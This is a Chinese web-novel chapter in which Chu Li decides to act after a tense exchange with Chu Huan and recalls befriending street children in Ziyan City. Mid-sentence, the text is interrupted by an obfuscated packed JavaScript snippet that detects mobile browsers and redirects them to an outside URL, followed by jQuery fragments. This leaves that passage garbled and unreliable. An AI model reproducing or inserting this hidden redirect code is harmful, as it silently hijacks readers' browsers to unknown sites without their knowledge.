4. 紫燕城回忆

作品:《与反派缱绻

    楚洹似是从未预料到,她竟会这样直白、并且事先没有任何预兆的问他这个令他棘手的问题。


    有那么一瞬,他胸腔内那规律的跳动骤然间乱了一下,眼神也布满了慌乱。


    但幸好,他现在是背过身去的。


    很快,那种令他异样的感觉和眼底的惊慌如浮尘般被他悄然扫去。


    他随即沉声反问着,


    “哦~何故这般猜我?”


    楚洹偏过头,他压迫的目光不加丝毫掩饰的看着在他身后的褚漓。


    身后的她也仰头,怔愣了一瞬后,才用一种有意躲闪的眼神,但语气却异常轻快地回,


    “楚大人,我只是开个玩笑,您别生气嘛,”


    “再说了,我就只是猜测...”


    未等她将后面的话讲完,楚洹就已打断了她,温柔的声线夹杂着令褚漓浑身冷彻入骨的情绪,


    “以后莫要没有证据而猜测任何人,懂吗?”


    “罢了,时辰也不早了,早些去歇息吧。”


    楚洹不给她任何反驳的机会,就已经下了逐客令。


    而褚漓那句应承的话堵在喉间不上不下,见他语气似有不满,她倒也识趣,胡乱“嗯”了声后,那抹翠绿色的身影转身便消失在了雨帘里。


    楚洹双眼未抬半分,双耳却细听着外面的脚步声和着雨声,一阵纷乱却透着和谐,渐渐没了声响后,眼神才顺着屋外空气中仿佛还残留的绿色追着过去,但还是扑了空。


    他心中像个无底洞般,不甚空虚和无力。


    此事,需得从长计议,待日后他定会一字一句同她讲清楚,只可惜,现在还不是时候。


    楚洹眼下只愿,过几日去紫燕城,一切皆成,望无半点差错。


    清荷院。


    褚漓将那把油纸伞随意地丢弃在门旁,搓了搓泛冷的身子走过来静坐在那扇菱花铜镜前。


    瞧着镜中人,因昨晚过度思虑而略显憔悴的美眸、和那双因眼下事微微蹙起的柳眉。


    一股陌生的感觉席卷自褚漓浑身。


    昨夜,床榻上的褚漓翻来覆去总是睡不着,内心的痛苦和挣扎堵得她心里发慌,只要躺下就总觉这难受的情绪仿佛可以从身体内溢出来,每每尝试着闭上眼时,爹爹那张慈眉善目的脸总是浮现出来。


    此刻,再上等的绸子制好的锦被,躺坐在身下都令她如坐针毡。


    褚漓本不想淌这趟浑水,可当她听完楚洹说的后,竟也不得不承认他说的极对。


    爹爹在世时也常常教导她,她虽为女儿身,但也要怀揣一个愿为他人打抱不平的心。


    “如果爹爹在的话,肯定也希望我这样做…”


    褚漓蹲在角落,双臂如蟹钳般把自己紧紧环绕住,用力地攥紧着拳头,形成一道看不见的密不透风的墙,


    “如果是爹爹的话,他也会身先士卒吧…”


    屋外的雨仍旧没有要停歇的意思,瓢泼的雨滴顺着未关严实的窗檐早已稀稀落落地泼了下来,地板、桌案上也相继都被浸湿了一角。


    空气中弥漫着潮湿的气味,但也没有遮盖住角落里,褚漓那滴从眼角闪过的晶莹的少女悲伤氛围。


    它们一滴一滴落下,浸出一片片似散去的烟花那般的形状,落寞且绚烂,依次围绕在她身边,慢慢摊开在她周围的青石地板上。


    良久,褚漓缓缓抬头,可人的脸蛋上还依稀可见几道干涸的泪痕。


    桌上前侧跳动的烛光映着,她的轮廓忽明忽暗,可那双坚定不移的眼神却清晰可见、炯炯有神。


    或许除了她自己,谁也不会知道,她今夜竟做了一个如此郑重的决定。


    回想起往日种种的不堪,挣扎、痛苦、崩溃是如何将当初单纯、不谙世事的她打碎的。


    如今经历过后,她又小心翼翼地拾起支离破碎的自己,重新将自己组装拼接完美。


    一个脱胎换骨的褚漓!


    褚漓褪去衣裳,躺在床上准备阖眼时,脑中的思绪又不受控制地像是知道她即将要去一样,又给她走马灯般的播放,令她想起了那件事…


    那是她刚到紫燕城的日子。


    从京城逃亡而来的路上,她始终以薄纱蒙面,用灰土着身,尽量使自己在外人面前看着像一个家道中落的女子一般。


    姿态低到尘埃里、尽量降低自己的存在感。


    是褚漓当时学会的第一件事。


    一路上,她已尽量去缩减开支用度,就为了可以多省下点钱以备不时之需。


    但作为曾经吃穿用度都不用她劳心劳力的大小姐,这里花花,那里也花花,很快就见原本充盈的荷包日渐消瘦。


    无奈之下,她只有典当自己身上的全部首饰,以此来度日。


    但褚漓心细,自是想到了若自己贸然去典当首饰,恐会引起他人的怀疑,到时怕只人财两空。


    于是,她的目光被街上那群,固定时间出来成群结队寻物的野孩子们吸引了过去。


    他们像是无家可归,又像是家中无人看管教导,竟整日都厮混在一起,而且到目前为止,也未见有任何大人来管。


    不仅如此,通过这几日的观察,这些小孩儿仿佛都听从那个年龄稍大点儿的少年。


    所以,褚漓便借机寻了个机会,买了几串小孩子最喜爱的糖葫芦,猫在他们的必经之路。


    她暗暗观察着周围的一切。


    时间过去了好一阵子,一个瘦弱的身影缓慢地进入了她的眼帘。


    是那个他们中年龄最小的女孩儿,褚漓决定,就先从她入手。


    “小姑娘,你好啊,姐姐手里的糖葫芦正好多买了几串,你想不想尝尝啊?”


    傍晚时分,橙橘色的晚霞裹挟着几朵残云,空中不时掠过几只低飞的游鸟,点点霞阳从瓦砾缝隙处斜洒在青石板面的空地上,也零零碎碎地点缀在身旁的翠草地中,浅浅浮风吹过,才惺忪地动了动身子。


    褚漓卸下了面纱,一双动人的眼眸盯着面前的小姑娘,举着手中的糖葫芦,似笑非笑。


    “好漂亮的姐姐啊…小璟想…想吃…”


    那自称小璟的小姑娘,模样不大,声音清脆,


    “可…可哥哥他们不许我吃陌生人的东西…”


    小璟稚嫩的小手抬起又放下,声音也变得胆怯起来。


    “你叫小璟是吧,姐姐不是坏人,这糖葫芦也没有毒,”


    褚漓顺势拉起她的手,将其中一串颜色鲜艳、形状饱满的放在小璟手中,


    “姐姐如今也是一个无家可归、流落至此的人,那日瞧见你这心疼的样子,竟让姐姐想起了家中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934533|192836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的妹妹。所以,姐姐只是想同你们交朋友…”


    褚漓话未说完,一道清澈响亮的男声在不远处响起,


    “小璟快过来,我不是说了不要和陌生人接触!”


    面前的小璟听闻,转头看了看她身后的少年,又扑棱着大眼睛看了看褚漓。


    蓦地,转身撒丫子向那个少年冲去,手中还紧紧攥着那串糖葫芦。


    褚漓也闻声望去,是他,就是这群孩子们的头儿,那个年龄稍大点儿的少年。


    此刻,小璟被他牢牢护在身后,坚毅果敢地眼神中全是对褚漓不留余地的审视,似要从她脸上看出个所以然来。


    她倒也不恼,只当他们是一群还乳臭未干的孩子,对他人有防备之心是最正常不过的了。


    褚漓清了清嗓子,迈着慢悠悠地步子朝着她们过去,晃悠着手中的几串糖葫芦,


    “咳咳…我不是坏人,我只是想跟你们交个朋友,你看我还买了糖葫芦呢。”


    ”小璟,快替姐姐解释一下,好不好?”


    见那少年仍旧不为所动,似是在怀疑褚漓的话到底有几分真假一样,漆黑的眸子透着浓烈的寒意。


    虽已傍晚,但空气中尴尬的氛围还是与这宜人的温度显得格格不入。


    一只沾着尘土的稚嫩小手,轻轻地拉了拉那少年残缺的衣角,仰着头,嗫嚅着嘴角开口。


    “衡哥哥,姐姐她不是坏人,姐姐还给我们买糖葫芦…”


    说着,还炫耀般地举起手里的糖葫芦,又伤心地指了指自己干瘪的肚子,


    “小璟…饿,衡哥哥不要说姐姐…好不好…”


    那少年觉察到了下方这细微的动静,低下头的瞬间便敛去眸中森然的审视,看向小璟时,眼底似有千万般化不开的温柔,认真注视着听她说完。


    “小璟乖,我没有说她是坏人,糖葫芦你先拿着在原地等我,我去跟姐姐好好说可以吗?”


    那少年眉眼一弯,抬起手揉了揉小璟杂乱的额发后,随即转了过来,步伐坚定地朝褚漓走过去。


    不远处的褚漓将一切都看在了眼里,内心没有任何波澜。


    现在的她身心都还没有从陶府大小姐的身份中剥离开来,眼前的一切平淡似水。


    她虽对他们有怜惜、有心疼,甚至她下意识认为造成这一切的源头定是这几年的灾祸。


    但现在,自己的切身利益才是最主要的。


    思忖间,他二人就已互相站在对方的面前,四目相对,保持着一个安全的距离。


    那少年率先开口,语气没有一点儿胆怯,


    “我不知你是谁,也不知你有什么目的,还请你以后不要再来骚扰我们。”


    少年倔强的双眸盯着褚漓,褚漓的心底竟一时也被他这不卑不亢的态度讶到,杏眸转了转,正欲开口说时,一道不大不小的声响传进了她耳中。


    奇怪?这附近没别人啊,哪来的声响?


    不过,这声音怎么好像有点儿耳熟?


    褚漓皱这眉循声看过去,才发现那少年脸上竟红云密布,耳朵尖也像沁着鲜血似的。


    先前强硬的气场早就散了一大半,眼中全是心虚还夹杂着些独属于这个年纪的不好意思。


    “衡哥哥,你若饿了你先吃吧,我再向姐姐借一个好了。”